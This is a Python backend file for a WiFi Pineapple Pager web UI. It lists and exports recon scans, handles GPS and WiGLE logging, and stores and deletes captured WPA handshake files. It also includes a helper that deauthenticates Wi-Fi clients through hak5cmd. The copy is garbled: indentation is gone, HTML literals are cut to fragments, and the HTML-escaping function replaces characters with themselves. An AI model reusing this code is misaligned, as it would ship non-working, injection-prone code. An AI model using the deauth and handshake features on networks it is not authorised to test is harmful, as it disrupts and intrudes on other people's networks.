'error': 'Examine needs an idle radio; wait for the current scan to finish',
'detail': detail,
'scan_remaining': remaining,
}
return 502, {'error': 'examine failed', 'detail': detail}
return 200, {'ok': True, 'seconds': seconds}
def h_recon_scans(ctx):
cache = _recon_scans_cache
if cache['db'] != RECON_DB:
cache.update({'db': RECON_DB, 'updated': 0, 'data': {'scans': []}})
try:
cache['data'] = recon_scans_data()
cache['updated'] = time.time()
except RuntimeError:
if not cache['updated'] or time.time() - cache['updated'] > 120:
return 503, {'error': 'recon database is temporarily unavailable'}
return 200, dict(cache['data'], stale=True)
return 200, dict(cache['data'], stale=False)
def h_recon_scan_detail(ctx):
scan_id = int(ctx.args[0])
# Bounded + retried: the live view polls this every few seconds, and an
# unbounded read across ssid/wifi_device can hold the DB long enough to
# make pineapd rotate it (SQLITE_BUSY -> error-*-recon.db).
try:
data = _recon_read_retry(lambda: recon_scan_data(
scan_id, _timeout=15, _limit=300))
except RuntimeError:
return 503, {'error': 'recon database is temporarily unavailable'}
if data is None:
return 404, {'error': 'scan not found'}
return 200, data
# ---------------------------------------------------------------------------
# Recon report helpers (CSV / HTML) for scan downloads.
# ---------------------------------------------------------------------------
def _fmt_ts(ts):
if not ts:
return '--'
try:
return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(int(ts)))
except (ValueError, OSError, TypeError):
return str(ts)
def _csv_escape(v):
v = '' if v is None else str(v)
if any(c in v for c in ',"\n\r'):
return '"' + v.replace('"', '""') + '"'
return v
def _identity_label(identity):
identity = identity or {}
manufacturer = identity.get('manufacturer') or 'Unknown'
model = identity.get('model')
if model:
return '%s %s' % (manufacturer, model)
if manufacturer == 'Unknown' and identity.get('oui'):
return 'Unknown (%s)' % identity['oui']
return manufacturer
def _association_label(association):
parts = [association.get('ssid') or '(hidden)']
if association.get('bssid'):
parts.append(association['bssid'])
if association.get('sources'):
parts.append('[' + ', '.join(association['sources']) + ']')
return ' '.join(parts)
def _aps_csv(data):
out = ['bssid,ssid,hidden,band,channel,freq,encryption,signal,vendor,first_seen,last_seen,Device Identity,Client Count,Confirmed SSIDs']
for a in (data or {}).get('aps') or []:
confirmed = []
for client in a.get('clients') or []:
for association in client.get('associations') or []:
if association.get('bssid') == a.get('bssid'):
confirmed.append(association.get('ssid') or '(hidden)')
out.append(','.join(_csv_escape(x) for x in [
a.get('bssid'), a.get('ssid'), int(bool(a.get('hidden'))),
a.get('band'), a.get('channel'), a.get('freq'),
a.get('encryption'), a.get('signal'), a.get('vendor'),
_fmt_ts(a.get('first_seen')), _fmt_ts(a.get('last_seen')),
_identity_label(a.get('device_identity')), a.get('client_count', 0),
'; '.join(sorted(set(confirmed)))]))
clients = (data or {}).get('clients') or []
if clients:
out.append('client_mac,client_identity,confirmed_associations')
for client in clients:
associations = [_association_label(a)
for a in client.get('associations') or []]
out.append(','.join(_csv_escape(x) for x in [
client.get('mac'), _identity_label(client.get('vendor')),
'; '.join(associations)]))
out.append('unassociated,%d' % ((data or {}).get('unassociated') or 0))
return '\r\n'.join(out) + '\r\n'
def _esc_html(v):
if v is None:
return ''
return (str(v).replace('&', '&').replace('<', '<')
.replace('>', '>').replace('"', '"'))
REPORT_CSS = """
body { font-family: -apple-system, 'Segoe UI', Roboto, sans-serif; margin: 24px; color: #222; background: #fff; }
h1 { font-size: 22px; margin: 0 0 2px; }
.sub { color: #666; margin-bottom: 2px; }
.meta { color: #888; font-size: 13px; margin: 4px 0 12px; }
.stat-cards { display: flex; flex-wrap: wrap; gap: 10px; margin: 14px 0 4px; }
.stat-card { border: 1px solid #e0e0e0; border-radius: 6px; padding: 10px 16px; min-width: 108px; background: #fafafa; }
.stat-value { font-size: 26px; font-weight: 700; line-height: 1.1; font-variant-numeric: tabular-nums; }
.stat-label { font-size: 11px; text-transform: uppercase; letter-spacing: .05em; color: #888; }
h2 { font-size: 15px; margin: 20px 0 8px; border-bottom: 2px solid #1a237e; padding-bottom: 4px; color: #1a237e; }
table { border-collapse: collapse; width: 100%; font-size: 13px; }
th, td { border: 1px solid #ddd; padding: 6px 10px; text-align: left; }
th { background: #f4f4f4; }
tr:nth-child(even) td { background: #fafafa; }
.sig-strong { color: #2e7d32; font-weight: 600; white-space: nowrap; }
.sig-good { color: #f9a825; font-weight: 600; white-space: nowrap; }
.sig-weak { color: #ef6c00; font-weight: 600; white-space: nowrap; }
.sig-dead { color: #c62828; font-weight: 600; white-space: nowrap; }
.empty { color: #888; font-style: italic; }
@media print { body { margin: 12px; } .stat-card { border-color: #ccc; } }
"""
def _html_table(headers, rows, raw_columns=None):
"""Render an HTML table. Cells are HTML-escaped unless their column index
is listed in raw_columns (caller-provided safe markup, e.g. colored
signal spans)."""
raw = set(raw_columns or ())
out = ['
']
for header in headers:
out.append('| %s | ' % _esc_html(header))
out.append('
')
for row in rows:
out.append('')
for i, cell in enumerate(row):
out.append('| %s | ' % (cell if i in raw else _esc_html(cell)))
out.append('
')
out.append('
')
return ''.join(out)
def _html_doc(title, subtitle, body_html, stats=None, meta=None):
parts = ['%s'
'' % (_esc_html(title), REPORT_CSS)]
parts.append('%s
' % _esc_html(title))
parts.append('%s
' % _esc_html(subtitle))
for line in (meta or []):
parts.append('%s
' % _esc_html(line))
if stats:
parts.append('')
for label, value in stats:
parts.append('
'
% (_esc_html(value), _esc_html(label)))
parts.append('
')
parts.append(body_html)
parts.append('')
return ''.join(parts)
def _signal_html(dbm):
"""Color-coded dBm cell matching the UI thresholds."""
if dbm is None:
return '--'
if dbm >= -50:
cls = 'sig-strong'
elif dbm >= -67:
cls = 'sig-good'
elif dbm >= -80:
cls = 'sig-weak'
else:
cls = 'sig-dead'
return '%d dBm' % (cls, dbm)
def _enc_bucket(enc):
"""Encryption display string -> coarse bucket (mirrors the UI chips)."""
s = (enc or '').strip()
if not s or s == 'Open':
return 'Open'
if 'WEP' in s:
return 'WEP'
if 'Enterprise' in s:
return 'WPA3-Enterprise' if 'WPA3' in s else 'WPA2-Enterprise'
if 'SAE' in s or 'OWE' in s:
return 'WPA3-Personal'
if 'WPA3' in s and 'WPA2' in s:
return 'WPA2-PSK' if 'PSK' in s else 'WPA3-PSK'
if 'WPA3' in s:
return 'WPA3-PSK'
if 'WPA2' in s:
return 'WPA2-PSK'
if 'WPA' in s:
return 'WPA'
return 'Unknown'
def _recon_read_retry(fn, attempts=3, pause=1.0):
"""Retry a recon.db read briefly; pineapd's write bursts hold the DB
exclusive lock and reads can time out mid-burst."""
last = None
for _ in range(attempts):
try:
return fn()
except RuntimeError as exc:
last = exc
time.sleep(pause)
raise last
def _scan_client_count(scan_id, _timeout=12, db=None):
if db is None:
db = RECON_DB
rows = _db_rows(db,
"SELECT count(*) AS c FROM wifi_device w WHERE w.scan = %d "
"AND w.mac NOT IN (SELECT DISTINCT bssid FROM ssid "
"WHERE scan = %d AND type = 8 AND bssid IS NOT NULL)"
% (scan_id, scan_id), timeout=_timeout)
return rows[0]['c'] if rows else 0
def h_recon_scan_download_csv(ctx):
scan_id = int(ctx.args[0])
try:
data = _recon_read_retry(lambda: recon_scan_data(scan_id, _timeout=15, _limit=300))
except RuntimeError:
return 503, {'error': 'recon database is temporarily unavailable'}
if data is None:
return 404, {'error': 'scan not found'}
return 200, Download(_aps_csv(data).encode('utf-8'), 'text/csv',
'scan-%d.csv' % scan_id)
def _recon_html_download(scan_id, data, client_count, archive=None):
"""Shared HTML report body for live and archived scans.
GPS metadata is only attached for live scans (an archive's data is
historical, so a current fix would be misleading).
"""
aps = data.get('aps') or []
scan = data.get('scan') or {}
meta = []
if archive is None:
try:
gps = _gps_status_data()
if gps.get('lock'):
meta.append('GPS: %.5f, %.5f%s' % (
gps.get('lat') or 0, gps.get('lon') or 0,
(' \u00b7 %d sats' % gps.get('satellites'))
if gps.get('satellites') else ''))
except Exception:
pass
stats = [('Access Points', len(aps)),
('Clients', client_count),
('Handshakes', len(data.get('handshakes') or [])),
('Unassociated', data.get('unassociated') or 0)]
body_parts = []
# Band and encryption breakdowns.
band_counts = {}
enc_counts = {}
for a in aps:
band_counts[a.get('band') or '--'] = band_counts.get(a.get('band') or '--', 0) + 1
b = _enc_bucket(a.get('encryption'))
enc_counts[b] = enc_counts.get(b, 0) + 1
body_parts.append('Band Breakdown
')
body_parts.append(_html_table(['Band', 'Access Points'], sorted(
band_counts.items(), key=lambda kv: kv[1], reverse=True)))
body_parts.append('Encryption Breakdown
')
body_parts.append(_html_table(['Encryption', 'Access Points'], sorted(
enc_counts.items(), key=lambda kv: kv[1], reverse=True)))
# Channel occupancy (count per channel, split by band).
chan_counts = {}
for a in aps:
if a.get('channel') is None:
continue
key = (a.get('band') or '--', a.get('channel'))
chan_counts[key] = chan_counts.get(key, 0) + 1
body_parts.append('Channel Occupancy
')
if chan_counts:
chan_rows = [[band + ' GHz', ch, n] for (band, ch), n in sorted(
chan_counts.items(), key=lambda kv: (kv[0][0], kv[0][1]))]
body_parts.append(_html_table(['Band', 'Channel', 'Access Points'], chan_rows))
else:
body_parts.append('No access points with a known channel.
')
# AP table with color-coded signal.
ap_rows = []
for a in aps:
ap_rows.append([a.get('ssid') or '(hidden)', a.get('bssid'),
a.get('band') or '--',
a.get('channel') if a.get('channel') is not None else '--',
_signal_html(a.get('signal')),
a.get('encryption') or '--',
_identity_label(a.get('device_identity')),
a.get('client_count', 0),
_fmt_ts(a.get('first_seen')), _fmt_ts(a.get('last_seen'))])
body_parts.append('Access Points
')
body_parts.append(_html_table(['SSID', 'BSSID', 'Band', 'Ch', 'Signal',
'Encryption', 'Device Identity', 'Clients',
'First seen', 'Last seen'],
ap_rows, raw_columns=(4,)))
confirmed_rows = []
for client in data.get('clients') or []:
for association in client.get('associations') or []:
confirmed_rows.append([
client.get('mac'), _identity_label(client.get('vendor')),
association.get('ssid') or '(hidden)', association.get('bssid') or '--',
', '.join(association.get('sources') or [])])
body_parts.append('Confirmed Clients
')
if confirmed_rows:
body_parts.append(_html_table(
['Client MAC', 'Device Identity', 'SSID', 'BSSID', 'Evidence'],
confirmed_rows))
else:
body_parts.append('No confirmed clients.
')
subtitle = ('Pager recon capture report (archived history)'
if archive else 'Pager recon capture report')
return Download(_html_doc('Scan #%d' % scan.get('id'),
subtitle, '\n'.join(body_parts),
stats=stats, meta=meta).encode('utf-8'),
'text/html', 'scan-%d.html' % scan_id)
def h_recon_scan_download_html(ctx):
scan_id = int(ctx.args[0])
try:
data = _recon_read_retry(lambda: recon_scan_data(scan_id, _timeout=15, _limit=300))
client_count = _scan_client_count(scan_id, _timeout=12)
except RuntimeError:
return 503, {'error': 'recon database is temporarily unavailable'}
if data is None:
return 404, {'error': 'scan not found'}
return 200, _recon_html_download(scan_id, data, client_count)
# ---------------------------------------------------------------------------
# Recon archives: read-only history from pineapd-rotated databases.
# pineapd renames recon.db to error--recon.db when an INSERT hits
# SQLITE_BUSY, then starts a fresh database at scan 1. These endpoints expose
# the rotated files as read-only history. They never write and never change
# the live RECON_DB.
# ---------------------------------------------------------------------------
def _recon_archive_path(archive_id):
"""Resolve a URL-encoded archive id (a rotated db filename) to an absolute
path, or None if it is not a real archive in the recon directory."""
if not archive_id:
return None
base = os.path.basename(archive_id)
if base != archive_id or '/' in archive_id or '\\' in archive_id:
return None
if not (base.startswith('error-') or base.startswith('diagnostic-')):
return None
if not base.endswith('recon.db'):
return None
path = os.path.join(os.path.dirname(RECON_DB), base)
return path if os.path.isfile(path) else None
_recon_archives_cache = {'dir': None, 'updated': 0, 'data': None}
RECON_ARCHIVES_CACHE_SECONDS = 15.0
def recon_archives_data():
now = time.time()
directory = os.path.dirname(RECON_DB)
cache = _recon_archives_cache
if (cache['dir'] == directory and cache['data'] is not None
and now - cache['updated'] < RECON_ARCHIVES_CACHE_SECONDS):
return cache['data']
archives = []
try:
names = sorted(os.listdir(directory))
except OSError:
return {'archives': []}
for name in names:
if not (name.startswith('error-') or name.startswith('diagnostic-')):
continue
if not name.endswith('recon.db'):
continue
path = os.path.join(directory, name)
try:
mtime = int(os.path.getmtime(path))
except OSError:
mtime = None
scans = []
try:
scans = recon_scans_data(limit=500, _timeout=15, db=path).get('scans') or []
except RuntimeError:
pass
lo = hi = n = None
if scans:
lo = min(s['id'] for s in scans)
hi = max(s['id'] for s in scans)
n = len(scans)
archives.append({'id': name, 'label': name, 'mtime': mtime,
'min_id': lo, 'max_id': hi, 'scans_count': n,
'scans': scans})
data = {'archives': archives}
cache.update({'dir': directory, 'updated': time.time(), 'data': data})
return data
def h_recon_archives(ctx):
return 200, recon_archives_data()
def h_recon_archive_scans(ctx):
path = _recon_archive_path(_unquote_plus(ctx.args[0]))
if path is None:
return 404, {'error': 'archive not found'}
try:
data = recon_scans_data(limit=500, db=path)
except RuntimeError:
return 503, {'error': 'archive database is temporarily unavailable'}
return 200, dict(data, archive=ctx.args[0])
def h_recon_archive_scan_detail(ctx):
path = _recon_archive_path(_unquote_plus(ctx.args[0]))
if path is None:
return 404, {'error': 'archive not found'}
scan_id = int(ctx.args[1])
try:
data = _recon_read_retry(lambda: recon_scan_data(
scan_id, _timeout=15, _limit=300, db=path))
except RuntimeError:
return 503, {'error': 'archive database is temporarily unavailable'}
if data is None:
return 404, {'error': 'scan not found in archive'}
return 200, data
def h_recon_archive_scan_download(ctx):
path = _recon_archive_path(_unquote_plus(ctx.args[0]))
if path is None:
return 404, {'error': 'archive not found'}
scan_id = int(ctx.args[1])
try:
data = _recon_read_retry(lambda: recon_scan_data(
scan_id, _timeout=15, _limit=300, db=path))
except RuntimeError:
return 503, {'error': 'archive database is temporarily unavailable'}
if data is None:
return 404, {'error': 'scan not found in archive'}
return 200, Download(json.dumps(data, indent=2).encode('utf-8'),
'application/json', 'scan-%d.json' % scan_id)
def h_recon_archive_scan_download_csv(ctx):
path = _recon_archive_path(_unquote_plus(ctx.args[0]))
if path is None:
return 404, {'error': 'archive not found'}
scan_id = int(ctx.args[1])
try:
data = _recon_read_retry(lambda: recon_scan_data(
scan_id, _timeout=15, _limit=300, db=path))
except RuntimeError:
return 503, {'error': 'archive database is temporarily unavailable'}
if data is None:
return 404, {'error': 'scan not found in archive'}
return 200, Download(_aps_csv(data).encode('utf-8'), 'text/csv',
'scan-%d.csv' % scan_id)
def h_recon_archive_scan_download_html(ctx):
path = _recon_archive_path(_unquote_plus(ctx.args[0]))
if path is None:
return 404, {'error': 'archive not found'}
scan_id = int(ctx.args[1])
try:
data = _recon_read_retry(lambda: recon_scan_data(
scan_id, _timeout=15, _limit=300, db=path))
client_count = _scan_client_count(scan_id, _timeout=12, db=path)
except RuntimeError:
return 503, {'error': 'archive database is temporarily unavailable'}
if data is None:
return 404, {'error': 'scan not found in archive'}
return 200, _recon_html_download(scan_id, data, client_count, archive=True)
# ---------------------------------------------------------------------------
# GPS: serial device discovery, gpsd control, TPV/SKY parsing, status cache.
# Tied to the Glytch GPS mod (gpsd + uci 'gpsd' config section).
# ---------------------------------------------------------------------------
def _gps_serial_candidates():
candidates = []
if os.path.isdir(SERIAL_DIR):
try:
names = sorted(os.listdir(SERIAL_DIR))
except OSError:
names = []
for name in names:
path = os.path.join(SERIAL_DIR, name)
# by-path entries are named like '1.3_1-1.3:1.0' and only reveal
# their ttyACM/ttyUSB target through the resolved symlink.
target = os.path.realpath(path)
if ('ttyACM' in name or 'ttyUSB' in name
or 'ttyACM' in target or 'ttyUSB' in target):
candidates.append((name, path))
return candidates
def _uci_gps_get():
rc, out, err = device_run(['uci', 'get', 'gpsd.core.device'])
return out.strip() or None
def _uci_gps_set(device):
device_run(['uci', 'set', 'gpsd.core.device=%s' % device])
device_run(['uci', 'commit', 'gpsd'])
def _gpsd_running():
rc, out, err = device_run(['pgrep', '-f', 'gpsd'])
return rc == 0
def _gpsd_restart():
device_run([GPSD_INIT, 'restart'], timeout=15)
def _gps_from_gpspipe():
try:
p = subprocess.Popen(['gpspipe', '-w', '-n', '3'],
stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
out, _ = p.communicate(timeout=8)
except Exception:
return None
tpv = None
sky = None
for line in out.decode('utf-8', 'replace').splitlines():
obj = _json_or(line)
if not isinstance(obj, dict):
continue
cls = obj.get('class')
if cls == 'TPV' and tpv is None:
tpv = obj
elif cls == 'SKY' and sky is None:
sky = obj
if tpv is None:
return None
return {'fix': tpv.get('mode') or 0,
'lat': tpv.get('lat'),
'lon': tpv.get('lon'),
'alt': tpv.get('alt'),
'speed': tpv.get('speed'),
'satellites': (sky or {}).get('satellites') or None}
def _gps_from_hak5cmd():
out = hak5('GPS_GET', timeout=10)
obj = _json_or(out)
if not isinstance(obj, dict):
return None
return {'fix': obj.get('fix') or obj.get('mode') or 0,
'lat': obj.get('lat') or obj.get('latitude'),
'lon': obj.get('lon') or obj.get('longitude'),
'alt': obj.get('alt'),
'speed': obj.get('speed'),
'satellites': obj.get('satellites') or obj.get('satellites_used')}
def _wigle_config():
_, cur = daemon_sock_call('GET', '/api/pineap/get_config')
base = dict(PINEAP_CONFIG_DEFAULTS)
if isinstance(cur, dict) and 'reconpath' in cur:
base.update(cur)
return base
def _wigle_set(enabled):
base = _wigle_config()
base['logwigle'] = bool(enabled)
return _daemon_proxy('PUT', 'set_config', base)
def _gps_status_data_nocache():
try:
device = _uci_gps_get()
except Exception:
device = None
try:
present = any(os.path.exists(path)
for _, path in _gps_serial_candidates())
except Exception:
present = False
try:
running = _gpsd_running()
except Exception:
running = False
data = {'device': device, 'present': present, 'fix': 0,
'lat': None, 'lon': None, 'alt': None, 'speed': None,
'satellites': None, 'gpsd_running': running,
'updated': None, 'wigle': _wigle_config().get('logwigle', False)}
fix = _gps_from_gpspipe() if running else None
# GPS_GET through the daemon can block for seconds when gpsd is down;
# only fall back to it while gpsd is actually running.
if fix is None and running:
fix = _gps_from_hak5cmd()
if fix:
data.update(fix)
data['updated'] = int(time.time())
return data
def _gps_status_data():
with _gps_lock:
if (_gps_cache['data'] is not None
and time.time() - _gps_cache['updated'] < GPS_CACHE_SECONDS):
return _gps_cache['data']
data = _gps_status_data_nocache()
_gps_cache.update({'updated': time.time(), 'data': data})
return data
def h_recon_gps(ctx):
return 200, _gps_status_data()
def h_recon_gps_configure(ctx):
try:
candidates = _gps_serial_candidates()
except Exception:
candidates = []
if not candidates:
return 200, {'present': False, 'error': 'No GPS serial device found'}
try:
current = _uci_gps_get()
except Exception:
current = None
ordered = sorted(candidates, key=lambda c: (c[0] != current, c[0]))
tried = []
for name, path in ordered[:3]:
tried.append(name)
try:
_uci_gps_set(name)
_gpsd_restart()
time.sleep(1.5)
fix = _gps_from_gpspipe()
except Exception:
fix = None
if fix is not None and fix.get('fix'):
data = _gps_status_data_nocache()
data.update({'configured': True, 'device': name, 'tried': tried,
'lock': True})
return 200, data
data = _gps_status_data_nocache()
data.update({'configured': True, 'device': ordered[0][0], 'tried': tried,
'note': 'GPS bound, waiting for a fix'})
return 200, data
# ---------------------------------------------------------------------------
# WiGLE logging: toggle the daemon 'logwigle' setting, list and download the
# CSV files the daemon writes under WIGLE_DIR.
# ---------------------------------------------------------------------------
def wigle_files_data():
files = []
if os.path.isdir(WIGLE_DIR):
try:
names = sorted(os.listdir(WIGLE_DIR))
except OSError:
names = []
for name in names:
path = os.path.join(WIGLE_DIR, name)
if not os.path.isfile(path):
continue
try:
size = os.path.getsize(path)
mtime = int(os.path.getmtime(path))
except OSError:
continue
rows = None
if size <= 2 * 1024 * 1024:
try:
with open(path, 'r', errors='replace') as fh:
lines = [line for line in fh if line.strip()]
# WiGLE CSVs lead with a meta line ('WigleWifi-1.6,...')
# followed by the column header; only count data rows.
header_offset = 2 if lines and lines[0].startswith('WigleWifi') else 1
rows = max(0, len(lines) - header_offset)
except OSError:
rows = None
files.append({'name': name, 'size': size, 'mtime': mtime, 'rows': rows})
return {'files': files}
def h_recon_wigle_files(ctx):
return 200, wigle_files_data()
def h_recon_wigle_file(ctx):
name = _unquote_plus(ctx.args[0])
path = _safe_join(WIGLE_DIR, name)
if path is None or not os.path.isfile(path):
return 404, {'error': 'file not found'}
try:
with open(path, 'rb') as fh:
body = fh.read()
except OSError:
return 404, {'error': 'file not found'}
return 200, Download(body, 'text/csv', os.path.basename(path))
def h_recon_wigle(ctx):
enable = bool((getattr(ctx, 'body', None) or {}).get('enable'))
status, data = _wigle_set(enable)
if status != 200:
return status, data
if enable:
hak5('WIGLE_START', timeout=10)
else:
hak5('WIGLE_STOP', timeout=10)
resp = {'ok': True, 'wigle': enable}
if enable:
files = wigle_files_data().get('files') or []
if files:
resp['filename'] = files[-1]['name']
return 200, resp
HS_FILENAME_RE = re.compile(
r'^(?:(\d+)_)?([0-9A-Fa-f]{2}(?:[:-][0-9A-Fa-f]{2}){5})_'
r'([0-9A-Fa-f]{2}(?:[:-][0-9A-Fa-f]{2}){5})(?:_handshake)?'
r'(?:_(full|partial|incomplete))?\.([A-Za-z0-9]+)$')
def parse_hs_filename(name):
m = HS_FILENAME_RE.match(name or '')
if not m:
return None
ts, ap, client, kind, ext = m.groups()
return {'ts': int(ts) if ts else None,
'ap': ap.replace('-', ':'),
'client': client.replace('-', ':'),
'kind': kind or 'full',
'ext': ext}
def _norm_mac(m):
m = (m or '').strip().upper().replace('-', ':')
if len(m) == 12 and ':' not in m and all(c in '0123456789ABCDEF' for c in m):
m = ':'.join(m[i:i + 2] for i in range(0, 12, 2))
return m
def _hs_db_by_pair(min_ts):
rows = _db_rows(RECON_DB,
'SELECT h.time, '
'(h.hs1 IS NOT NULL AND length(h.hs1) > 0) AS m1, '
'(h.hs2 IS NOT NULL AND length(h.hs2) > 0) AS m2, '
'(h.hs3 IS NOT NULL AND length(h.hs3) > 0) AS m3, '
'(h.hs4 IS NOT NULL AND length(h.hs4) > 0) AS m4, '
'(h.beacon IS NOT NULL AND length(h.beacon) > 0) AS beacon, '
'w1.mac AS ap, w2.mac AS sta '
'FROM handshake h '
'JOIN wifi_device w1 ON w1.hash = h.aphash '
'JOIN wifi_device w2 ON w2.hash = h.stahash '
'WHERE h.time >= %d ORDER BY h.time' % min_ts)
db = {}
for r in rows:
db[(_norm_mac(r.get('ap')), _norm_mac(r.get('sta')))] = {
'time': r.get('time'),
'part_mask': (1 if r.get('m1') else 0) | (2 if r.get('m2') else 0)
| (4 if r.get('m3') else 0) | (8 if r.get('m4') else 0),
'beacon': bool(r.get('beacon')),
}
return db
def _compose_hs(name, size, mtime, part, db):
base = {'source': 'Recon', 'name': name, 'size': size,
'location': os.path.join(LOOT_HS_DIR, name), 'file_exists': True}
if part is None:
ext = name.rsplit('.', 1)[-1] if '.' in name else ''
base.update({'mac': '--', 'client': '--', 'type': 'full',
'timestamp': mtime, 'in_db': False, 'part_mask': 0,
'beacon': False, 'extension': ext})
return base
rec = db.get((_norm_mac(part['ap']), _norm_mac(part['client'])))
base.update({
'mac': part['ap'], 'client': part['client'], 'type': part['kind'],
'timestamp': (rec or {}).get('time') or part['ts'] or mtime,
'in_db': rec is not None,
'part_mask': (rec or {}).get('part_mask', 0),
'beacon': bool((rec or {}).get('beacon', False)),
'extension': part['ext']})
return base
def handshakes_data():
files = []
parsed = []
min_ts = None
try:
names = sorted(os.listdir(LOOT_HS_DIR))
except OSError:
names = []
for name in names:
p = os.path.join(LOOT_HS_DIR, name)
try:
if not os.path.isfile(p) or name.startswith('.'):
continue
st = os.stat(p)
except OSError:
continue
mtime = int(st.st_mtime)
files.append({'name': name, 'size': st.st_size, 'mtime': mtime})
part = parse_hs_filename(name)
if part is not None:
ts = part['ts'] if part['ts'] is not None else mtime
part['ts'] = ts
if min_ts is None or ts < min_ts:
min_ts = ts
parsed.append((name, st.st_size, mtime, part))
handshakes = []
db = {}
if min_ts is not None:
try:
db = _hs_db_by_pair(min_ts)
except Exception:
db = {}
for name, size, mtime, part in parsed:
handshakes.append(_compose_hs(name, size, mtime, part, db))
return {'files': files, 'handshakes': handshakes}
def h_handshakes_get(ctx):
return 200, handshakes_data()
def h_handshake_file(ctx):
name = _unquote_plus(ctx.args[0])
full = _safe_join(LOOT_HS_DIR, name)
if not full or not os.path.isfile(full):
return 404, {'error': 'not found'}
with open(full, 'rb') as f:
body = f.read()
return 200, Download(body, 'application/octet-stream', name)
def h_handshakes_delete(ctx):
name = (ctx.body or {}).get('name') or ctx.query.get('name') or ''
safe = os.path.basename(name)
if not safe or safe != name:
return 400, {'error': 'invalid name'}
p = os.path.join(LOOT_HS_DIR, safe)
if not os.path.isfile(p):
return 404, {'error': 'not found'}
os.remove(p)
return 200, handshakes_data()
def h_handshakes_location(ctx):
return 200, {'location': LOOT_HS_DIR}
def h_handshakes_delete_all(ctx):
try:
names = os.listdir(LOOT_HS_DIR)
except OSError:
names = []
for name in names:
p = os.path.join(LOOT_HS_DIR, name)
try:
if os.path.isfile(p) and not name.startswith('.'):
os.remove(p)
except OSError:
continue
return 200, handshakes_data()
def h_loot_zip(ctx):
status, raw = daemon_call('GET', '/api/loot/zip', token=current_token())
if status != 200 or not isinstance(raw, bytes):
return 502, {'error': 'daemon failed'}
return 200, Download(raw, 'application/zip', 'loot.zip')
def h_loot_archive(ctx):
status, data = daemon_call('POST', '/api/loot/archive', token=current_token())
return (200 if status == 200 else 502), (data if isinstance(data, dict) else {'ok': status == 200})
def _is_monitor_iface(name):
n = (name or '').lower()
return n.endswith('mon') or 'mon' in n
def _parse_assoclist(name, out):
clients = []
for line in (out or '').splitlines():
m = re.match(r'\s*([0-9A-Fa-f]{2}(?::[0-9A-Fa-f]{2}){5})\s+', line)
if not m:
continue
rssi = None
rm = re.search(r'Signal:\s*(-?\d+)', line)
if rm:
rssi = int(rm.group(1))
clients.append({'mac': m.group(1).upper(), 'iface': name, 'rssi': rssi,
'source': 'iwinfo'})
return clients
def _parse_station_dump(name, out):
clients = []
mac = None
rssi = None
for line in (out or '').splitlines():
m = re.match(r'Station\s+([0-9A-Fa-f]{2}(?::[0-9A-Fa-f]{2}){5})\s', line, re.I)
if m:
if mac:
clients.append({'mac': mac, 'iface': name, 'rssi': rssi, 'source': 'iw'})
mac = m.group(1).upper()
rssi = None
continue
sm = re.search(r'signal:\s*(-?\d+)', line)
if sm and mac:
rssi = int(sm.group(1))
if mac:
clients.append({'mac': mac, 'iface': name, 'rssi': rssi, 'source': 'iw'})
return clients
def assoc_clients(ifaces=None):
"""Associated STAs on AP interfaces. Skips monitor ifaces (they hang iwinfo)."""
clients = []
seen = set()
names = list(wifi_ifaces() if ifaces is None else ifaces)
try:
if os.path.exists('/sys/class/net/%s' % ENT_IFACE) and ENT_IFACE not in names:
names.append(ENT_IFACE)
except OSError:
pass
for name in names:
if not name or _is_monitor_iface(name):
continue
rows = []
rc, out, err = device_run(['iw', 'dev', name, 'station', 'dump'], timeout=3)
if rc == 0:
rows = _parse_station_dump(name, out)
else:
rc, out, err = device_run(['iwinfo', name, 'assoclist'], timeout=3)
rows = _parse_assoclist(name, out)
for row in rows:
key = (row.get('mac'), name)
if key in seen:
continue
seen.add(key)
clients.append(row)
try:
ssid = (_ent_state_loaded() or {}).get('ssid') or ''
for mac in _ent_stations():
key = (mac, ENT_IFACE)
if key in seen:
continue
seen.add(key)
clients.append({'mac': mac, 'iface': ENT_IFACE, 'rssi': None,
'ssid': ssid, 'source': 'hostapd'})
except Exception:
pass
return clients
def _iface_ap_info(iface):
"""(bssid, channel) of the AP running on `iface`, via iwinfo."""
rc, out, err = device_run(['iwinfo', iface, 'info'])
bssid = None
channel = None
for line in out.splitlines():
m = re.search(r'Access Point:\s*([0-9A-Fa-f]{2}(?::[0-9A-Fa-f]{2}){5})', line)
if m:
bssid = m.group(1).upper()
m = re.search(r'Channel:\s*(\d+)', line)
if m:
channel = int(m.group(1))
return bssid, channel
def _deauth_target(mac):
"""(iface, bssid, channel) for an associated client, else None."""
for c in assoc_clients():
if c['mac'] != mac:
continue
bssid, channel = _iface_ap_info(c['iface'])
if not bssid or not channel:
return None
return c['iface'], bssid, channel
return None
def _deauth_client_via_iface(mac):
"""Deauth a client associated to one of our own APs.
hak5cmd's deauth needs the full (bssid, target, channel) triple; the
client's AP and channel are resolved from its association interface.
Returns (ok, detail).
"""
target = _deauth_target(mac)
if not target:
return False, 'client not associated'
iface, bssid, channel = target
band = _band_of_channel(channel)
inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon'
if inject != 'wlan1mon':
_pineap('INTERFACE', 'INJECT', inject)
rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, mac,
str(channel)], timeout=30)
return rc == 0, (err or out)
def disk_data():
rc, out, err = device_run(['df', '-k', '/root'])
lines = out.splitlines()
if len(lines) >= 2:
parts = lines[1].split()
if len(parts) >= 4:
try:
size = int(parts[1]); used = int(parts[2]); avail = int(parts[3])
return {'size': size * 1024, 'used': used * 1024, 'avail': avail * 1024}
except ValueError:
pass
return {}
def uptime_data():
rc, out, err = device_run(['cat', '/proc/uptime'])
try:
return int(float(out.split()[0]))
except Exception:
return None
def firmware_data():
rc, out, err = device_run(['cat', '/etc/openwrt_release'])
dist = None
for line in out.splitlines():
if line.startswith('DISTRIB_DESCRIPTION'):
dist = line.split('=', 1)[1].strip().strip('"')
return dist
def daemon_status():
status, data = daemon_call('GET', '/api/api_ping', token=current_token())
if status == 200 and isinstance(data, dict):
return data
return {}
def hostname_data():
rc, out, err = device_run(['uci', 'get', 'system.@system[0].hostname'])
return out.strip() or None
def status_data():
# iwinfo can be slow on the Pager, especially while radios are being
# reconfigured. Discover interfaces once and share the result between
# the radio and association portions of this snapshot.
ifaces = wifi_ifaces()
return {
'battery': battery_data(),
'firmware': firmware_data(),
'daemon': daemon_status(),
'wifi': [wifi_iface_info(n) for n in ifaces],
'clients': assoc_clients(ifaces),
'disk': disk_data(),
'uptime': uptime_data(),
'hostname': hostname_data(),
}
def h_status(ctx):
